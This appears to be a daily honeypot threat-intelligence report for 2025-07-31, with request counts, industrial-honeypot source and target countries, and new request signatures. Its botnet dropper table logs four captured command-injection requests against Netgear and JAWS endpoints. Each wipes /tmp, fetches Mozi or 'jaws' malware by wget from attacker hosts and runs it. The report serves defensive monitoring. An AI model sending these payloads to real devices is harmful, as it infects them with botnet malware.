Table of Contents

Daily Report: 2025-07-31
#

Executive summary
#

interaction report on http service of various Hhoneypot around the world.

Executive summary
OT report simplified
Botnet dropper behaviour
List of request
List of country_iso_code

executive_summary
#

In today’s repport, we detected 4 stage 1 IP address(es), linked to 3 dropper URL(s).

There are 8 new requests that have never been observed before (these were added to the monitored request database.).

A total of 472 requests were recorded during the day, originating from 4 different countries, with a peak of 104 requests coming from US.

ot_simplified_report
#

simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.

source_country	targeted_country
SG	Germany
US	Germany
US	Dubai
US	Dubai

botnet_dropper_behaviour
#

remote_addr	request
123.190.30.164	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://123.190.30.164:39424/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
27.47.0.217	GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
8.219.74.21	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1
8.219.103.247	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1

request
#

The list of requests presented here are those that have not yet been yet integrated into the request database.

	number_of_occurence	request
24	2	CONNECT 196.251.81.204:80 HTTP/1.0
25	2	\x04\x01\x00P\xC4\xFBQ\xCC\x00
90	1	GET /.cache HTTP/1.1
110	1	\x04\x01\x00P\xC4\xFBE\xCD\x00
111	1	CONNECT 196.251.69.205:80 HTTP/1.0
116	1	\x04\x01\x00P-J\x10Z\x00
119	1	CONNECT 45.74.16.90:80 HTTP/1.0
124	1	GET /oauth/authorize HTTP/1.1